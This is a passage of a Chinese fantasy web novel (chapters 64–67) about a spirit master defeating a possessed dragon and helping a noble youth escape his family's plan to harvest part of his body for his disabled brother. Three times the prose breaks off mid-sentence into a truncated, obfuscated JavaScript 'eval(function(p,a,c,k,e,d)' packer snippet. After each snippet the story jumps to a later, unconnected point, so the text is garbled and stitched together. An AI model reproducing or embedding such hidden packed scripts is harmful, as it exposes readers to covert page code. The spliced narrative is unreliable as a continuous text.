层层袖子悉数滑落,乔天璇手臂上贴满了黄底红字的符霎时间释放出了刺眼的红色灵光。 大蛟突然又瞧见了刚刚那种对它来说十分奇怪的红色灵光,注意力立马被红色灵光吸引,猛地向乔天璇俯冲下来。 与此同时,乔天璇莫名觉得大蛟身上无数的黑色恶灵有些眼熟。 一旁的花蕊惊道:“那不是在仙落岛上也出现过的黑色恶灵吗?” “……对啊!”乔天璇彻底回想了起来。 花蕊说得没错,大蛟身上无数的黑色恶灵与之前上了仙落岛的那一群黑色恶灵一模一样! 64. 东莱荀氏(四) 既然如此,乔天璇心中有了底,立即毫不犹豫地让右臂上所有黄底红字的符离了手臂,顺着妖风飘飞而去。 笼罩一切的红色灵光忽地消失,十几张发着红色灵光的符齐齐迎风盘旋而上。 大蛟先是一愣,随即注意力落到了飘飞着的十几张符上。 妖风肆虐,大蛟兴奋地追逐着风中的符,暂时收起了夺舍人的念头。 乔天璇暗暗控制着空中飘飞的符,故意让符与大蛟保持着极其相近的距离,似乎只要再往前追一下,大蛟就能追得到眼前的符。 祝源担心道:“万一大蛟追了一会儿之后失去兴趣了该怎么办?” 话音刚落,一张符便被大蛟追上,在大蛟的嘴中碎成了好几片,爆出的灵力对无数附于大蛟身上的黑色恶灵来说就像是爆浆的浆果一般,有一种突如其来的刺激感。 毫无疑问,大蛟顿时对剩下的符更加感兴趣了,追得愈发欢快,不知疲倦,似乎已将夺舍之事彻底抛到了脑后。 乔天璇道:“我特意让这些符在师父布置好杀灭阵的一刻钟内隔一段时间便被大蛟追上一张,这样就能让大蛟知道有追得上的可能性,它便不会轻易失去追符的兴趣了。” “不愧是灵师大人!”花蕊惊喜地望着乔天璇,满眼崇拜。 “灵师大人好手段!”祝源恍然大悟。 陈渊龙疑惑道:“这些黑色恶灵为何跟之前上到了仙落岛上的那些恶灵一模一样?难道东莱也有这种恶灵?” 乔天璇道:“这些黑色恶灵被一只邪灵控制,邪灵占据了山神的石像,山神的石像在一座寺庙中,寺庙建在了一座山的龙脉上,而那座山位于东莱,叫大妄山。” 陈渊龙惊诧道:“你如何知道这些?” 乔天璇道:“我方才用灵力从无数的黑色恶灵那儿探到的,就是不晓得殿下知不知大妄山的具体位置在哪儿?” 陈渊龙道:“大妄山位于东莱的一个码头后面,我便是从那个码头出海去寻你的。” 乔天璇道:“那看来就是受命于二皇子追杀你的那些人在去往码头的途中经过了大妄山,不知是何缘故,一些黑色恶灵跟着那些人一起上了船。他们一路追着你去到了仙落岛,这才令那些黑色恶灵出现在了仙落岛上。” 祝源不可思议道:“真没想到那些黑色恶灵居然是从大妄山千里迢迢来到仙落岛上的。” 花蕊庆幸道:“是啊,还好我们有灭妖仙人。” 望着天上还在妖风中不断追逐飘飞的符的大蛟,乔天璇不再说话,而是专心致志控制每一张符,适时让其中一张符被大蛟追上,碎在大蛟的嘴中。 祝源许是比乔天璇还要紧张,每当大蛟在快要追上一张符时,他都会忍不住握紧一下双拳。 十几张符在一刻钟内一张接一张碎得稀巴烂。 在还剩下最后两张符时,身后突然传来了荀循的声音:“云天女侠,你师父让我来转告你,他的阵已经布置好了,现在得把龙妖引到阵上面。” “好,我知道了。”乔天璇念力一动,让飘飞在空中的两张符飞至方才洛侠所在的窗户外面的空地上。 大蛟急忙追去,身上无数的恶灵也是兴致勃勃。 三息过后,一道通天而去的红色光柱从杀灭阵中拔地而起。 “呀啊啊啊啊啊——” 刺耳的尖叫声顿时从杀灭阵中传出。 乔天璇清楚,洛侠祭出杀灭符了。 大堂客栈中的人们估计是被洛侠的阵给震撼到了,惊叹不已。 “哇!这是……仙法?!” “天呐,龙妖一下子就被红光给彻底灭掉了!” 随着大蛟的彻底消失,狂乱的妖风也立马停了下来。 外面的大街上一片狼藉,到处都是被妖风刮来的枯枝败叶。 大门处的几人转身返回了洛侠施法布阵的地方。 只见客栈大堂中的人几乎都围在了洛侠身旁。 段忆昔、绪子华、戚时初这会儿正持剑守在洛侠身边,不让任何人打扰到洛侠。 “你们干得不错。”乔天璇摸了摸一旁荀循的脑袋。 “真的吗?!”荀循十分兴奋。 乔天璇轻松道:“当然了,勉强配得上四侠行客这个名号。” 荀循高兴道:“居然被云天女侠肯定了!那我们四侠行客便是被三侠行客肯定了!” “好了,给我们开路吧。”乔天璇看着前方围着洛侠的人群,有些无奈。 “让让!云天女侠来了!”荀循当即雄赳赳气昂昂地持剑开道。 众人转头望来,赶紧让出来了一条路。 此时,窗外杀灭阵的红色光柱缓缓散去,发着红光的杀灭阵也隐了起来。 天色逐渐转亮,午时的太阳从云层后面探出头来,阳光终于重新洒满大地。 洛侠转身看向了乔天璇,满意道:“不错,时间拖延得刚刚好,它们已经全都被杀灭阵灭干净了。” “灭得好。”乔天璇点了点头,扫了一圈围着的人,认真道:“以后谁要是问起这件事,你们便说是三侠行客和四侠行客联手干的!就把此事命名为‘三侠行客与四侠行客于风云客栈外大战龙妖,龙妖死无全尸,灰飞烟灭’,让此事一传十,十传百,百传千,让三侠行客和四侠行客的威名远扬!” 乔天璇越说越激动,语气慷慨激昂,让围观着的众人情不自禁也起哄道:“好!好!没问题!!!” 有人疑惑道:“三侠行客我知道,不就是云天女侠、玉心女侠、风筝少侠三人嘛,只不过这个四侠行客是哪几位啊?” “是我们!”段忆昔、绪子华、戚时初、荀循收好了各自的剑,齐声高喊,接连自我介绍起来。 少女道:“我是清江段氏段忆惜。” 少女身旁的少年道:“我是傅陵绪氏绪子华。” 少女身旁另一边的少年道:“我是京兆戚氏戚时初。” 乔天璇身旁的少年道:“我是东莱荀氏荀循。” 顷刻间,众人哗然。 “居然是世家子弟!” “不得了了!看来世家也能出行侠仗义的侠客了!” “难得啊!真是难得!” 见状,荀循高声道:“既然龙妖已经除了,那大家便散了吧!饭没吃完的继续去吃,就当刚刚是看了一场除妖大戏!” “这……既然都这么说了,那我们便散了吧。” “散了散了,该吃饭的都吃饭去!” 众人皆不再围着此处,都回到了各自的位置上继续吃饭了。 荀循看向了乔天璇,期待道:“云天女侠,既然你们与我们如此有缘,那不如就一起来吃顿饭吧!我请客,如何?” “可以啊。”乔天璇倒是乐意吃不用花钱的饭。 荀循连忙叫来伙计多加了五碗饭。 乔天璇则坐在了四侠行客对面的位置,左右分别坐着洛侠和陈渊龙。 花蕊和祝源坐在了桌子另一边的一条长板凳上,两人的目光不断地在四侠行客与乔天璇、陈渊龙、洛侠几人之间来回移动。 趁着饭菜还未上到桌上,乔天璇神神秘秘道:“你们想不想知道我方才在红色灵光中都看到听到了些什么?” “当然想啊!”段忆昔满眼好奇。 “那我便说与你们听。”乔天璇深呼吸一口气,将方才自己从无数恶灵的抱怨、谩骂、记忆、遭遇中大概整合出的蛟龙为何会同时夺舍无数人的原因给讲了出来。 听完了乔天璇所述,一桌子人的脸色都阴沉了下来。 花蕊气愤道:“真是不可理喻,二皇……唔唔唔!” 祝源慌忙捂住了花蕊的嘴,在她耳边小声道:“别直呼二皇子,小心隔墙有耳!” 花蕊挣脱了祝源捂着自己嘴的手,不悦道:“那我该怎么称呼他嘛?” “就说是……是……”祝源尴尬地看向了陈渊龙。 “就称呼他为凤弟吧,毕竟他哥哥叫雏浅凤啊。” 说着,乔天璇望向了陈渊龙。 陈渊龙无奈地闭上了双眼,并无任何表示。 花蕊愤恨道:“这个凤弟真是的可恶,不但滥杀无辜,还让人死后也不得安生。” 荀循道:“的确,二皇……呸,那个什么,凤弟……不对,咦?他哥哥不是当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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乔天璇率先拿起筷子夹了一块肉放到碗里,将肉和饭混在一起吃了第一口。 陈渊龙许是为了不让眼前的世家小辈心中有负担,便也拿起筷子开始夹菜。 见到陈渊龙夹菜了,桌上其余还没开吃的人才终于放心地拿起筷子夹菜用起了餐。 “云天女侠说得对,饭菜凉了可就不好吃了。”荀循猛猛扒饭。 “是啊,吃饭最重要嘛。”戚时初给自己碗里夹了一大块肉。 “这顿饭也算是对成功灭了龙妖后的庆祝了。”段忆昔夹了一颗大大的虾仁来拌饭。 “没错!这件事情必须得庆祝!”绪子华咽下了一口被菜叶子包裹着的饭。 花蕊少有吃到如此华丽的菜肴,早已吃得不亦乐乎。 “慢点,小心别噎着了。”祝源小心提醒着身旁的花蕊。 “好吃!”花蕊的嘴巴被饭菜塞得满满当当,说话含糊不清。 洛侠尝了几口菜,道:“的确美味。” 荀循高兴道:“那就好!” 乔天璇看着一桌子完全可以说得上是“救场”的饭菜,心觉这菜上的可真是时候,要不然刚刚都不知该如何结束尴尬。 “你们接下来有什么打算?”陈渊龙突然对四侠行客发问。 荀循犹豫道:“我们接下来的话……” “去大妄山彻底灭了那个占据了山神石像的邪灵!”段忆昔抢话时嘴里还含着食物。 “没错,那个邪灵罪不可恕,必须得灭。”绪子华赞同地点了点头。 戚时初期待道:“不知三侠行客也去吗?” “去。”洛侠语气坚定。 “师父?”乔天璇见洛侠毫不犹豫就答应了,忽然回想起了当年洛侠义无反顾地去仙落岛封印妖物的事情,不禁会心一笑,道:“那我随师父一同去。” 一直沉默的陈渊龙突然道:“我也去,此邪灵当尽快除之。” 乔天璇意味深长地瞟了一眼陈渊龙,心知他肯定又吃醋了。 65. 东莱荀氏(五) “殿下也去?那太好了!”戚时初喜出望外。 花蕊道:“那我们就再次合作,一起行动吧?” 荀循高兴道:“好啊!” 此时,伙计又端上来了一道菜。 “煎海鱼!香!”段忆昔猛地闻了一大口。 荀循道:“你们清江那儿可没有新鲜海鱼吃吧?” 段忆昔遗憾道:“我们那儿都不临海,怎么可能有啊?别说新鲜海鱼了,就是咸海鱼干都不怎么能见得着。” 荀循道:“那就多尝尝吧!我清楚得很,这家客栈的煎海鱼可好吃了。” 段忆昔夹了一块煎鱼肉尝了尝,登时两眼冒光,欣喜道:“鲜!好鲜!” “我就说吧!”荀循很是自豪。 乔天璇也夹了一块煎鱼肉来吃,发现那煎得香脆的鱼皮令人口齿留香,实在是美味,吃完后忍不住又夹了一块来吃。 就在乔天璇准备夹第三块来吃时,陈渊龙和洛侠几乎是在同一时间往乔天璇的碗里夹了一块煎鱼肉。 看着碗里两块大小差不多的煎鱼肉,乔天璇愣了一瞬,但也没多想,先夹起了洛侠给自己夹的那块煎鱼肉来吃。 对此,陈渊龙似乎有些不悦。 但乔天璇并不理会。 饭后,一行人出了风云客栈,走在东莱的街道上,见到不少人都在清理着自家门前被之前的妖风吹来的糟糠秽物。 “荀循,荀府怎么走?”陈渊龙突然发问。 荀循不安道:“不知殿下怎么突然想去荀府了?” 陈渊龙道:“我想拜托荀家家主一件事。” “何事?”荀循愈发不安。 陈渊龙深深地看了荀循一眼,道:“受一人所托,在荀府种松树一棵。” “哦……这样啊!”荀循立马松了一口气,道:“没问题!我带路,殿下放心跟着我走就好,只不过荀府我就不进了。” 戚时初乐道:“我懂我懂,咱们四个谁不是出了家门后就不打算再回去了的呢?” 段忆昔调侃一般道:“荀循刚刚是不是在担心殿下想要把你给送回家啊?” “你不要说出来!”荀循满脸窘迫。 绪子华安慰道:“没事荀循,我能理解,我也一样。就算打死我,我也不回去了。” 乔天璇好奇道:“你们都是瞒着家里人出来闯荡江湖的吗?” “对啊。”戚时初无奈道:“我们都是在家中不被看好的人。就像我,不但是家中庶子,还是幺子。我的母亲也死得早,家主父亲总是会忽视我,整个京兆戚氏几乎就没人关注我,显得我像个多余的边角料似的。我若是出来闯荡一番,说不定还能掀起些属于自己的风浪来。” 花蕊疑惑地看着其余三人,道:“那你们三个呢?” 荀循、段忆昔、绪子华面面相觑,皆是一脸无奈。 绪子华道:“我虽不是庶子,而且在家中排行老二,但家里人对老三、老四、老五的关注全都超过了我。老大就更不用说了,我若是一直待在家里,那就永远都不可能有超得过他的一天。我也懊恼过,气愤过,可是完全没用,家里人对我的关注就是很少很少。我始终搞不懂家里人为何就是不在意我,无论是我说的话,还是我对事情提出的建议,全都好像是过眼云烟一般,没有人会认真去听。难道我生来就是平平无奇的人吗?我不相信,于是就出来闯荡了,看看能不能扬名立万。” 段忆昔道:“我的母亲是家主父亲的一房小妾,母亲身世不好,在入府前本是歌楼的歌女。生下我后,母亲不知为何失宠了。之后母亲总是怪我,说她失宠都是因为我。在我十岁那年,母亲跟着家中的一个护卫跑了。我从别人那儿听说带着母亲私奔了的护卫其实是个化凡的修士,母亲想要与他一起修仙。可我的母亲这一跑,我在家中就过得愈发艰难了。家中别的孩子都欺负我,家主父亲一想到我的母亲就来火,更懒得为我主持公道。熬了几年,我终于也从家里逃了出来。哼,我恨死家里的所有人了。” 荀循叹了一口气,有气无力道:“家主父亲说之所以生我,是为了能有一个人照顾我那残疾哥哥。可是我也该有属于我自己的人生,我不愿我活着的意义就是为了照顾残疾哥哥啊!” “等等!你哥哥?荀韫吗?”乔天璇紧张地望向了荀循。 她记得清清楚楚,当年给太子伴读时,荀韫转扇子的手法可厉害了。他要是残疾了的话…… “哦,不是他,我有两个哥哥,残疾的是我二哥荀裕。”荀循好像意识到了自己刚刚没说清楚,不好意思地挠了挠头。 乔天璇释然道:“原来是你二哥啊,我还以为荀韫残疾了。” 荀循眉头一皱,疑惑道:“难不成你和我大哥很熟?” 乔天璇连忙道:“没有没有,不熟!话说你家为何非要你来照顾残疾二哥啊?东莱荀氏那么大一个世家,不应该派家仆去照顾他吗?” 荀循苦笑了一下,道:“家里人所说的“让我照顾我的残疾二哥”,其实只是一个委婉的说法。实际上是他们听信了一个域外仙医的治疗方法,说是要取出我体内一种与残疾二哥互相匹配的东西来医治我的残疾二哥。” “啊?怎么会有这种医术和大夫?”乔天璇惊得瞪大了双眼。 荀循道:“还好那个域外仙医在我出生前夕就被人暗算死掉了。可自打我出生以后,家里人就四处打探能将我体内那种与残疾二哥互相匹配的东西给取出来医治残疾二哥的大夫。当然,因为血缘关系,我大哥也是可以‘照顾’我二哥的。只是我大哥身为长子,家里人可舍不得让我大哥‘照顾’我二哥。不久前,我偷听到家里人终于又打探到了一个能将我体内那种与残疾二哥互相匹配的东西给取出来医治残疾二哥的域外仙医。可我也有我自己的人生,我清楚自己要是真的被取走了体内那个东西给残疾二哥之后我可能也活不了多久了。要是不逃,我就该完蛋了!” “原来如此。”乔天璇恍然大悟。 “这种治疗方法一听就知道会死人。我要是荀循,我也赶紧逃了。”花蕊满脸嫌弃。 “确实不应该这样。”陈渊龙的脸色沉了下来。 段忆昔沉声道:“荀循要面对的事情简直太可怕了,不逃怕是就没命了。” 绪子话认真道:“没错,肯定不能回去,回去了就完蛋了。” 荀循低下了头,脸色非常不好看。 乔天璇走到荀循身旁,轻轻摸了摸他的脑袋,道:荀循,“你不必内疚,想要好好活下去是人的本能,你没有做错任何事。” “嗯……”荀循点了点头,脸色稍微好了一些。 知晓了荀循的事情之后,乔天璇忽然觉得荀盼回一直待在山沟沟里反而是件好事。要不然回了荀府,他极有可能会因为身份和血缘关系而被迫代替荀循来“照顾”二哥。 虽然山中生活清苦,还总是吃不饱,但比起“照顾”二哥这种事情可要好太多了。 洛侠挨个看了一眼四侠行客中的四人,眼中不由得流露出一丝对他们的同情。 祝源从前哪里听说过这样的事?尤其是荀循的情况,直听得他一愣一愣的,一脸难以置信的表情。 乔天璇还是有些不解:“可你们来自四个不同的世家,最开始是怎么互相认识彼此的呢?” 段忆昔望向了陈渊龙,道:“两年前,皇上亲手雕了一尊皇后潘氏的模样的木雕,他想让七大世家的人都来看看他精湛的手艺。就是那一次,我们四人在皇宫中偶然相识,聊得投机,日后便经常互相之间进行书信交流。” “这样啊……”乔天璇不由得望向了陈渊龙。 她记得陈渊龙之前说过他向皇上揭发了皇后潘氏与二皇子通奸的事情,皇后因此事被砍断双腿关入了冷宫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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两个守门的门卫当即一惊,其中一人赶紧开门,浑身哆嗦着将门前的五人迎入了荀府。 陈渊龙道:“带我们去见荀家家主。” “是!”带路的门卫连看都不敢多看一眼陈渊龙,赶紧上前带路。 荀府的阔气并不输乔天璇之前见过的姜府、尤府。只是荀循和荀盼回的事情让乔天璇已经对荀家家主没有了好印象。 跟着带路的门卫在荀府中走了一会儿,一个慵懒的男声忽然从旁边的一处传来:“咦?你们是?” 乔天璇转头看去,只见一个持着折扇的青年男子正行于一道长廊中,刚好与乔天璇几人走的是相反的方向。 这青年男子身着一袭紫蓝色衣衫,身后跟着一个样貌清秀的贴身护卫。 带路的门卫连忙道:“长公子,是太子殿下和太子殿下的人。” “荀韫?”乔天璇感到有些意外。 眼前的荀韫与他小时候的差别实在是太大了。 在乔天璇的记忆中,荀韫就是个擅长耍扇子还爱显摆的臭屁小孩。 如今,荀韫已然是个玉树临风、温润如玉的美男子。 既然巧遇荀韫,那若是能拜托荀韫将荀盼回的松树种子种在荀府中,倒就不必去见那不干人事的荀家家主了。 “见过太子殿下。”荀韫连忙对陈渊龙行礼。 乔天璇赶紧对陈渊龙小声道:“殿下,种树的事情要不就拜托荀韫吧?” 听乔天璇如此说,陈渊龙当即对荀韫开门见山道:“可否拜托荀长公子一件事?” “何事?”荀韫抬眸望向陈渊龙。 陈渊龙道:“不知荀府可还容得下一颗松树种子?” 66. 东莱荀氏(六) 荀韫神色一顿,随即微笑道:“太子殿下是想要在荀府中种一棵松树吗?” “没错。”陈渊龙点了点头。 “自然没问题。”荀韫抬脚跨出了他所在的长廊,步至陈渊龙跟前,恭敬道:“太子殿下请随我来,松树便种在我的院子里吧。” “好。”陈渊龙看向了带路的门卫:“你回去守门吧。” “是!”带路的门卫本就紧张得直哆嗦,陈渊龙此话一出,当即赶紧溜了。 几人跟着荀韫一路前往他的院子。 乔天璇注意到荀府中凡是有楼梯的地方都会将楼梯的其中一半修成滑坡。 这一点十分特殊扎眼,毕竟滑坡都是灰扑扑的,与华丽的房屋形成了鲜明对比。 想到荀循说他二哥荀裕残疾了,乔天璇心觉荀裕应是腿脚残疾了。 而荀家之所以要把楼梯的其中一半修成滑坡,就是为了方便腿脚残疾了的人所坐的?素舆行驶。 不多时,荀韫便带着乔天璇一行人来到了他的院子。 身为荀家大公子,荀韫的院子自然是又大又宽敞,院内种的花草树木也是多得令人眼花缭乱。 乔天璇瞧见院内有一小块空着的草地正好位于屋子的一扇窗户前,当即朝着那处一指,对陈渊龙道:“要不就把松树种子种在那里?” 陈渊龙顺着乔天璇所指的方向一望,立马点头道:“行,就种那里。” 荀韫不由得多看了乔天璇一眼,有些惊讶太子会对一个少女说的话言听计从。 然而荀韫并没有认出乔天璇。 他顺着陈渊龙道:“好,便将种子种在那处吧。” 荀韫身旁的护卫道:“我去拿铲子来。” “嗯。”荀韫点了点头。 几人步至窗前空着的一小块草地,陈渊龙从怀中取出了松树种子。 乔天璇一见到这松树种子就忍不住想起荀盼回。 同样是荀家子弟,荀韫在荀府中悠哉游哉地当他的世家大公子,而荀盼回就是个普通山民,饿极了只能在山沟沟中找三叶草充饥。 初时,乔天璇还在感叹荀盼回想让陈渊龙把他的松树种子种到荀府中的想法天真。哪曾想陈渊龙利用自己的太子身份居然真的帮荀盼回做到了。 乔天璇不禁愈发觉得身份真是个好用的东西,听起来困难无比的事情只要动用一下有用的身份就能立马办得到。这一路上陈渊龙可没少利用他太子的身份来办事。 护卫很快就把铲子拿了过来,开始一铲子一铲子在窗前的空草地上挖起了土。 “好了,不必再挖了。”荀韫见眼前的土坑已经有了一尺深,赶紧叫停。 陈渊龙将手中的松树种子放入了土坑中,护卫立马开始将土往回填。 待土坑填好后,护卫从院内的水缸中舀了一瓢水淋在了填好的土坑上。 “但愿能长出松树。”陈渊龙看着被水浸湿的土,眼底情绪有些复杂。 乔天璇知道陈渊龙定是想到了荀盼回。 荀韫小心翼翼地观察着陈渊龙的表情,试探道:“太子殿下大老远来荀府一趟,实在辛苦,要不去我屋中品茶解渴?” 陈渊龙缓缓转头望向了乔天璇。 乔天璇心知陈渊龙这是在问自己想不想去屋中品茶解渴。 既然来都来了,那就喝一口呗。 乔天璇点了点头。 陈渊龙当即对荀韫道:“好。” 荀韫见到了方才的场景,估计已经肯定乔天璇与陈渊龙的关系的确不一般了,他赶忙带着几人来到了一旁的屋子中,一进门就对屋内正在洒扫的丫鬟道:“贵客至,上香茶!” “是。”丫鬟赶忙停下了手中的洒扫,按照荀韫的吩咐去给乔天璇几人上茶。 乔天璇一进屋内就闻到了一股浓浓的茶香。 想必荀韫平时肯定经常在屋内品茶。 步至堂中的桌椅前时,荀韫有意让乔天璇坐到了陈渊龙身旁的位置。 当然,洛侠立马坐到了乔天璇身旁另一边的位置。 花蕊和祝源坐在一起,两人的目光在洛侠、乔天璇、陈渊龙三人身上来回看着,满眼期待与好奇。 乔天璇清楚他们两人自从知道了自己淮南乔氏大小姐的身份之后,心中肯定一直都在期待自己这个昔日的世家大小姐会在太子和师父之间发生什么趣事,只不过他们并没有在明面上表现出来罢了。 待香茶被丫鬟端上桌来时,荀韫介绍道:“这是云雾茶,茶叶采自云雾缭绕的高山上,茶叶的芽叶柔嫩,泡出来的茶味醇形秀、色绿香浓。” 陈渊龙拿起茶盏品了一口,顿了顿,似是在回味。 乔天璇也拿起茶盏品了一口,心觉果然是好茶,醇厚甘甜,忍不住将盏中剩下的茶一饮而尽。 荀韫对丫鬟使了一个眼色,丫鬟连忙为乔天璇的茶盏重新斟满了茶。 陈渊龙放下了饮尽的茶盏,肯定道:“好茶。” 荀韫眼中一亮,高兴道:“殿下觉得好便是真的好。” 丫鬟立即来到了陈渊龙的身旁,为他斟满了茶。 此时,乔天璇已经再次将茶一饮而尽。 见状,洛侠、花蕊、祝源都拿起茶盏品起了茶。 “茶虽好,但不知荀二公子近来可还好?”陈渊龙直视着荀韫,并没有拿起已经被斟满了茶的茶盏品茶。 荀韫明显没料到陈渊龙会突然问起荀裕的事,登时浑身一怔。 “挺、挺好,挺好的。”荀韫的语气和眼神都十分不自然。 陈渊龙认真道:“他的身子是不是需要用荀三公子体内的一种东西来医治才能好?” “……” 屋内一片寂静,只剩下丫鬟给几人斟茶时发出的茶水声。 陈渊龙继续道:“据说那种医术只有极少数的域外仙医才会,你们光是寻医就花了有十几年时间吧?” 荀韫终于反应了过来,愕然道:“太子殿下是如何得知此事的?” 陈渊龙道:“这个你不必知晓。” 荀韫惶惶不安道:“此事我们从不让荀府的人外传,若是太子殿下能从别处知晓,还望太子殿下告知您是如何知晓的啊!” 闻言,乔天璇倒是明白了荀府中关于荀裕的事就如当年乔府的乔天飞之事一样。秉承着家丑不外扬的理念,家中若是有人残疾了,还需要用毫无人性可言的医术来医治,那就会想尽一切办法将事情封锁得死死的。 可三公子荀循早已对这个家失望透顶,他的嘴可不会为家中的丑事保密,更何况这桩丑事已经威胁到了他的性命。 于荀循而言,他就是要说,并且要到处去说,谁问便告知谁,让来向他询问的人都知晓东莱荀氏是一个不顾幺子死活的家族,令大家都发自内心地谴责这个家族。 显而易见,若是无数人都知晓了荀家荀裕的这件事,那么东莱荀氏便极有可能被众人推上舆论的风口浪尖。百姓们会因此事极度仇恨东莱荀氏、更会有打着为荀循报仇的名义来报复东莱荀氏的人。日后,荀二公子荀裕不单止会背负上众多关于他“踩着自己弟弟的性命来让自己不再残疾”的骂名,还会让无数的女子因此事畏惧他,以至于没有女子愿意与他结亲。 但也正是因为如此,东莱荀氏许是会为了家族名声而放弃用荀循体内的东西来医治荀裕的方法,荀循或许就能在这样的舆论之下全须全尾地活下来,不必被迫任由域外仙医把他体内能用来医治残疾二哥的东西取走。 “早就已经传遍了。”乔天璇抢了本该是由陈渊龙来回应荀韫的话,漫不经心地看着荀韫,就像是在说一件稀松平常的事情一样:“大街小巷几乎人人都知道这件事情,也不知事情最开始是怎么传开的,只是大家暂时还不会将此事摆到台面上来说而已。不过以后就不知大家会不会把这件事情摆到台面上来说了,毕竟荀三公子现在还活得好好的。但他要是因此事出了事,那可就不好说了。我觉得吧……东莱荀氏的未来就看你们荀家愿不愿意放过荀三公子一命了。” 荀韫愣愣地望着乔天璇,原本看起来对一切事情都游刃有余的他在这一刻就像是经验丰富的厨子在包薄皮饺子时突然失误,把皮给包破了,馅儿露了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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乔天璇猜测荀韫之前肯定让他的贴身护卫杀了不少知晓荀裕之事的外人。若是没有自己方才瞎编的那一段关于荀裕的事,荀韫胆子大起来了怕是真的会让护卫杀人灭口。 毕竟突然一下子得知原本打算一直保密到死的秘密事情其实早已传得满城风雨,人尽皆知,那这所谓的秘密就相当于不是秘密了。事情既已传开,那再让护卫杀人灭口便没有了意义。 只是护卫没有接到荀韫在以往遇到这种类似事情时都会下达的杀人指令会让他感到些许不适应。 荀韫不一会儿就把大家带到了荀府的大门口,乔天璇的手指也在用力暗示陈渊龙不要再拉着她后松开了拉着她的手。 向荀韫告别后,乔天璇在离开荀府的路上小声问祝源:“能否借你箱笼里的笔墨纸砚一用?” “当然可以,不知灵师大人要用笔墨纸砚写什么?”祝源有些疑惑。 乔天璇道:“我要将荀裕之事写成告示广而告之,让东莱百姓真的知晓荀裕的事情。这样或许就能让舆论逼得荀家家主被迫放弃让域外仙医从荀循体内取出那样东西来救荀裕了。即便不行,也能让东莱荀氏蒙上一层巨大的压力。” 花蕊毫不犹豫道:“我赞成!” “嘘——”乔天璇赶忙提示花蕊小声一点。 花蕊赶紧捂住了自己的嘴巴。 陈渊龙道:“的确,要让东莱百姓真的知晓荀裕的事,或许才能救得了荀循。” 洛侠道:“璇儿不必把事情都揽到自己一个人的身上,我们一起帮你写。” “自然是要帮忙一起写的。”陈渊龙不自在地看了洛侠一眼,仿佛是在表示洛侠刚刚说的是废话。 乔天璇:“……” 她方才还想顺着洛侠说的话向他撒撒娇,没曾想陈渊龙会突然横插这么一句。 傻子龙怕不是又吃醋了吧? 祝源小声道:“可是我们得找个地方来写告示吧?” 乔天璇思索了一瞬,低声道:“回风云客栈写,那儿人多,而且人来人往的,事情肯定传得快。” 67. 东莱荀氏(七) “对哦,正好四侠行客也熟悉那儿。”祝源眼中突然充满了希望。 花蕊回忆道:“我记得那个叫戚时初的世家公子在风云客栈住了十日呢。” 祝源赶忙附和道:“我也记得,他亲口说的。” “既然戚时初住了十日,那么荀循住的时间应该会更久。”乔天璇心中有了底。 几人很快就走到了树丛,见四侠行客都在树丛中乖乖等着。 “好了,我们的事情已经办完了,现在该来帮帮给我们带路去荀府的荀循了。”乔天璇走到荀循身旁,轻轻摸了摸他的头。 “帮我?”荀循满眼疑惑。 乔天璇道:“我们将你二哥的事情写成告示广而告之,用大家对荀家和你二哥的愤怒来让荀家和你二哥有压力,从而让他们考虑放弃想对你做的事。” “这样行吗?”荀循有些不解。 乔天璇道:“可以一试,或许有用。” 荀循自己估计也想不出什么别的好办法了,便点头道:“好吧。” 乔天璇道:“我们回风云客栈去写。” “可行。”荀循赞同道:“只要点一盘花生米,就能在客栈大堂心安理得地坐着了。” “走吧,回风云客栈。”乔天璇望向了其余几人。 “嗯!”四侠行客都点了点头。 约莫半个时辰后,一行人回到了风云客栈。 见到午时那会儿吃饭的位置此时恰好也是空着的,大家纷纷坐了回去。 现在不是饭点,客栈大堂并没有什么吃饭的人,进门的基本上都是来住店的。 伙计估计是看几人眼熟,热情道:“不知几位贵客想点些什么?” 荀循道:“一盘花生米。” “……” 没有听到别的菜名,伙计的笑容僵在了脸上。 戚时初催促道:“快去给我们上花生米!” 伙计大概也知道戚时初在客栈中住了十日,当他听到戚时初的声音时连忙露出了讨好的笑容,点头答应着回后厨去了。 祝源取下背上的箱笼,从里面拿出了笔墨纸砚摆到了桌子上。 乔天璇道:“祝源,你不是书生吗?你来写第一份,然后我们誊抄你写的那一份。” “没问题,包在我身上!”祝源信心满满。 待祝源铺开纸,准备开始写时,伙计把方才荀循要的那盘花生米给送了来。 花蕊立马从盘子中抓了几颗花生米来吃。 伙计虽然也有些好奇祝源在写什么,但他又不好意思站在祝源的身后看着他写。 毕竟祝源是客人,他要是一直站在祝源的身后,那就显得像是在监视客人了,怕是会让客人因此感到不适。 不多时,祝源就把第一份告示写出来了。 陈渊龙起身来到祝源身后,仔细看了看祝源所写的东西,点头道:“不错。” 祝源欣喜道:“多谢殿下夸奖。” “赶紧誊抄吧。”乔天璇发现祝源只带了三支笔,现在其中的一支正在祝源的手上用着,让九个人一起誊抄根本就不可能,便将纸铺在了陈渊龙和洛侠的面前。 陈渊龙立马拿着祝源写的第一份告示放到了乔天璇面前,而后坐回到了自己的位置上。 乔天璇把面前的告示往上挪了挪,好让陈渊龙和洛侠都能看得清看得全。 随即,坐在乔天璇左右两边的陈渊龙和洛侠开始齐齐誊抄起了祝源写的第一份告示。 祝源也继续在位置上写起了告示。 四侠行客一开始还认真地看着祝源、陈渊龙、洛侠三人聚精会神地奋笔疾书。到了后来,他们许是看累了,逐渐有些瞌睡了。 